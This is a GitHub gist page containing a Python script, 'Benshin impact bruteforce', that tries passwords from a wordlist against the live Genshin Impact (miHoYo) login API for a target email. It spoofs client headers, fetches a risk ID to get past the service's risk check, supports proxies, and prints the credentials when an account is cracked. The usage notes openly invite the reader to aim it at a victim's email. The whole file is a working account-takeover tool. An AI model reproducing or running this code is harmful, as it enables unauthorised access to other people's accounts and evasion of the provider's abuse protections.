Last active
March 18, 2021 14:12
-
-
Save JustHumanz/07b8b8a7838635c564aa305c2e77150a to your computer and use it in GitHub Desktop.
Benshin impact bruteforce
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
#How to use | |
Create password worldlist and rename it to pass.txt | |
python benshin.py --email {Target email} | |
if you want use Proxy you can add --proxy,like this | |
python benshin.py --email csacasc@gmail.com --proxy http://localhost:1337 | |
DO AT YOUR OWN RISK | |
""" | |
import requests,argparse,re,sys | |
Proxy = "" | |
Email = "" | |
def main(): | |
parser = argparse.ArgumentParser(description='Benshin impact bruteforce') | |
parser.add_argument('-e','--email', required=True,help="email target") | |
parser.add_argument('-p','--proxy',help="use proxy") | |
global Proxy,Email | |
args = parser.parse_args() | |
Email = args.email.lower() | |
match = re.match('^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})$', Email) | |
if match == None: | |
print('Bad Syntax') | |
raise ValueError('Bad Syntax') | |
if args.proxy != None: | |
if args.proxy.startswith('http'): | |
Proxy = args.proxy | |
else: | |
print("Invalid proxy") | |
wordlist = open('pass.txt', 'r') | |
while True: | |
line = wordlist.readline() | |
if not line: | |
break | |
curl(line.strip()) | |
wordlist.close() | |
def curl(password:str): | |
proxies = { | |
"http": Proxy, | |
} | |
headers = { | |
'Host': 'hk4e-sdk-os.mihoyo.com', | |
'x-rpc-sys_version': '13.5', | |
'x-rpc-channel_id': '1', | |
'Accept': '*/*', | |
'x-rpc-device_id': GetRiskID(), | |
'x-rpc-client_type': '1', | |
'x-rpc-channel_version': '1.14.0', | |
'x-rpc-mdk_version': '1.14.0', | |
'Accept-Language': 'en-us', | |
'x-rpc-game_biz': 'hk4e_global', | |
'Accept-Encoding': 'gzip, deflate, br', | |
'x-rpc-language': 'en', | |
'x-rpc-device_name': '?u?l?l?l', | |
'User-Agent': 'Genshin%20Impact/152 CFNetwork/1126 Darwin/19.5.0', | |
'Connection': 'keep-alive', | |
'x-rpc-device_model': 'Android8.1', | |
'Content-type': 'application/json', | |
} | |
data = '{"account":"'+Email+'","password":"'+password+'","is_crypto":false}' | |
response = requests.post('https://api-os-takumi.mihoyo.com/hk4e_global/mdk/shield/api/login?', headers=headers, data=data, proxies=proxies) | |
if response.status_code == 200: | |
Data = response.json() | |
print(Data) | |
if Data['retcode'] == 0: | |
print("Account get\nEmail: ",Email,"\nPass: ",password) | |
sys.exit(0) | |
else: | |
print(response.status_code) | |
def GetRiskID(): | |
headers = { | |
'Host': 'hk4e-sdk-os.mihoyo.com', | |
'x-rpc-sys_version': '13.5', | |
'x-rpc-channel_id': '1', | |
'Accept': '*/*', | |
'Accept-Encoding': 'gzip, deflate', | |
'Content-Type': 'application/json', | |
'x-rpc-client_type': '1', | |
'x-rpc-channel_version': '1.14.0', | |
'x-rpc-mdk_version': '1.14.0', | |
'Accept-Language': 'en-us', | |
'x-rpc-game_biz': 'hk4e_global', | |
'Accept-Encoding': 'gzip, deflate, br', | |
'x-rpc-language': 'en', | |
'x-rpc-device_name': '?u?l?l?l', | |
'User-Agent': 'Genshin%20Impact/152 CFNetwork/1126 Darwin/19.5.0', | |
'Connection': 'keep-alive', | |
'x-rpc-device_model': 'Android8.1', | |
'Content-type': 'application/json', | |
'Connection': 'close', | |
} | |
data = '{"action_type":"login","api_name":"/shield/api/login","username":"'+Email+'"}' | |
response = requests.post('https://api-os-takumi.mihoyo.com/account/risky/api/check', headers=headers, data=data) | |
if response.status_code != 200: | |
print("Can't get riskyID") | |
return "?m?m?m?m?m?m?m?m-?m?m?m?m-?m?m?m?m-?m?m?m?m-?m?m?m?m?m?m?m?m" | |
else: | |
Data = response.json() | |
return Data['data']['id'] | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment